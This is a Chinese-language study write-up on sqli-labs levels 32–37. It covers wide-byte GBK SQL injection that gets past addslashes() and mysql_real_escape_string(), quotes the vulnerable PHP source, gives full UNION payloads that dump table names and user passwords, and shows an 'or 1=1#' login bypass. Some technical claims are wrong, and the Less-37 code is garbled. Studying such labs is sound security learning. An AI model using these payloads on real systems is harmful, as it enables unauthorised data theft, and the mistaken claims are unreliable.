本文记录 SQL 注入的学习过程,资料为 SQLi
宽字节注入绕过过滤函数
过滤函数
-
addslashes()
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
单引号(') 双引号(") 反斜杠(\) NULL
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
注释:默认地,PHP 对所有的 GET、POST 和COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。
语法:addslashes(string)
string 必需。规定要转义的字符串。 返回值: 返回已转义的字符串。 PHP 版本: 4+
-
tripslashes()
函数删除由 addslashes() 函数添加的反斜杠。
-
mysql_real_escape_string()
函数转义SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
\x00 \n \r \ ' " \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回false。
语法:mysql_real_escape_string(string,connection)
string 必需。规定要转义的字符串。 connection 可选。规定MySQL 连接。如果未规定,则使用上一个连接。
说明:本函数将 string 中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于mysql_query()。
绕过原理
-
原理
mysql 在使用GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个ascii 码大于128 才能到汉字的范围)。
我们在过滤’ 的时候,往往利用的思路是将’ 转换为’ (转换的函数或者思路会在每一关遇到的时候介绍)。
-
%df 吃掉 \ 具体的原因是 urlencode(’) = %5c%27,我们在 %5c%27 前面添加 %df,形成 %df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此事 %df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
-
将 ’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的 %5c 会被前面的 %5c 给注释掉。这也是bypass 的一种方法。
-
-
注入思路
urlencode(’) = %5c%27,我们在 %5c%27 前面添加 %df,形成 %df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此时 %df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
Less-32 绕过自定义过滤函数
-
注入思路
urlencode(’) = %5c%27,我们在 %5c%27 前面添加 %df,形成 %df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此事 %df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
-
源代码
function check_addslashes($string) { $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash $string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash $string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash return $string; } mysql_query("SET NAMES gbk"); $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
-
测试
使用 %df%27 显示
?id=-1%df%27union select 1,user(),3–+
\ 的编码为 %5c,%df 结合 %5c 会形成一个汉字
-
猜数据库
?id=-1%df%27union select 1,database(),3–+
结果为 security
-
猜表名
?id=-1%df%27union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),3–+
结果为 emails,referers,uagents,users
-
猜列名
?id=-1%df%27union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479 limit 0,1),3–+
结果为 id,username,password
-
猜数据
?id=-1%df%27union select 1,(select group_concat(username) from security.users limit 0,1),3–+
?id=-1%df%27union select 1,(select group_concat(password) from security.users limit 0,1),3–+
Less-33 绕过 addslashes()函数 - GET
-
原理
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
过滤:单引号(') 双引号(") 反斜杠(\\)
-
源代码
function check_addslashes($string) { $string= addslashes($string); return $string; } $id=check_addslashes($_GET['id']); mysql_query("SET NAMES gbk"); $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
-
测试
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
Addslashes()函数和我们在 32 关实现的功能基本一致的,所以我们依旧可以利用 %df 进行绕过。
Notice:使用 addslashes(),我们需要将 mysql_query 设置为 binary 的方式,才能防御此漏洞。
Mysql_query("SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary",$conn);
使用 %df%27 使 %df 与 %5c 结合然后显示 %27
?id=-1%df%27union select 1,user(),3–+
\ 的编码为 %5c,%df 结合 %5c 会形成一个汉字
-
猜数据库
?id=-1%df%27union select 1,database(),3–+
结果为 security
-
猜表名
?id=-1%df%27union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),3–+
结果为 emails,referers,uagents,users
-
猜列名
?id=-1%df%27union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479 limit 0,1),3–+
结果为 id,username,password
-
猜数据
?id=-1%df%27union select 1,(select group_concat(username) from security.users limit 0,1),3–+
?id=-1%df%27union select 1,(select group_concat(password) from security.users limit 0,1),3–+
Less-34 绕过 addslashes() - POST
-
原理
本关是 post 型的注入漏洞,同样的也是将post 过来的内容进行了 ‘\’ 的处理。由上面的例子可以看到我们的方法就是将过滤函数添加的 \ 给吃掉。而 get 型的方式我们是以 url 形式提交的,因此数据会通过URLencode,如何将方法用在 post 型的注入当中,我们此处介绍一个新的方法。
将 utf-8 转换为 utf-16 或 utf-32,例如将 ’ 转为 utf-16 为 %EF%BF%BD% 。我们就可以利用这个方式进行尝试。
我们用万能密码的方式的来突破这一关。
-
测试
在 username 输入 %EF%BF%BD%27 or 1=1# 在 password 输入 任意
-
源代码
$uname = addslashes($uname1); $passwd= addslashes($passwd1); mysql_query("SET NAMES gbk"); @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
构造后的 sql 语句为
SELECT username, password FROM users WHERE username='%EF%BF%BD' or 1=1#' and password='$passwd' LIMIT 0,1
Explain:
SELECT username, password FROM users WHERE username=’%EF%BF%BD%27 or 1=1 起到作用,后面的则被#注释掉了。而起作用的的语句不论select 选择出来的内容是什么与 1=1 进行 or 操作后,始终是1。
Less-35 绕过 addslashes() 函数 - 整型
-
源代码
function check_addslashes($string) { $string = addslashes($string); return $string; } $id=check_addslashes($_GET['id']); mysql_query("SET NAMES gbk"); $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
35 关和 33 关是大致的一样的,区别就是id 没有被 ’ 符号包括起来,那我们就没有必要去考虑check_addslashes() 函数的意义了
-
测试
?id=-1 union select 1,user(),3–+
两个空格绕过过滤
-
猜数据库
?id=-1 union select 1,database(),3–+
结果为 security
-
猜表名
?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),3–+
结果为 emails,referers,uagents,users
-
猜列名
?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479 limit 0,1),3–+
结果为 id,username,password
-
猜数据
?id=-1 union select 1,(select group_concat(username) from security.users limit 0,1),3–+
?id=-1 union select 1,(select group_concat(password) from security.users limit 0,1),3–+
Less-36 绕过 mysql_real_eacape_string() 函数 - GET
-
源代码
function check_quotes($string) { $string= mysql_real_escape_string($string); return $string; } $id=check_quotes($_GET['id']); mysql_query("SET NAMES gbk"); $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
-
原理
mysql_real_escape_string() 函数
\x00 \n \r \ ' " \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回false。
但是因 mysql 我们并没有设置成 gbk,所以 mysql_real_escape_string() 依旧能够被突破。方法和上述是一样的
-
测试
?id=-1%EF%BF%BD%27union select 1,user(),3–+
这个我们利用的 ’ 的 utf-16 进行突破的,我们也可以利用 %df 进行。
?id=-1%df%27union select 1,user(),3–+
-
防御
在使用 mysql_real_escape_string() 时,如何能够安全的防护这种问题,需要将 mysql 设置为 gbk 即可。
设置代码:
Mysql_set_charset('gbk','$conn')
Less-37 绕过 mysql_real_escape_string() 函数 - POST
-
原理
本关与 34 关是大致相似的,区别在于处理 post 内容用的是 mysql_real_escape_string()函数,而不是 addslashes()函数,但是原理是一直的,上面我们已经分析过原理了,这里就不进行赘述了。
利用万能密码的思路进行突破。
-
源代码
mysql_query(“SET NAMES gbk”);
@ s q l = " S E L E C T u s e r n a m e , p a s s w o r d F R O M u s e r s W H E R E u s e r n a m e = ′ sql="SELECT username, password FROM users WHERE username=' sql="SELECTusername,passwordFROMusersWHEREusername=′uname’ and password=’$passwd’ LIMIT 0,1";
r e s u l t = m y s q l q u e r y ( result=mysql_query( result=mysqlquery(sql);
r o w = m y s q l f e t c h a r r a y ( row = mysql_fetch_array( row=mysqlfetcharray(result); -
总结
可以总结一下过滤 ’ 常用的三种方式是直接 replace(),addslashes(),mysql_real_escape_string()。三种方式仅仅依靠一个函数是不能完全防御的,所以我们在编写代码的时候需要考虑的更加仔细。同时在上述过程中,我们也给出三种防御的方式,相信仔细看完已经明白了,这里就不赘述了。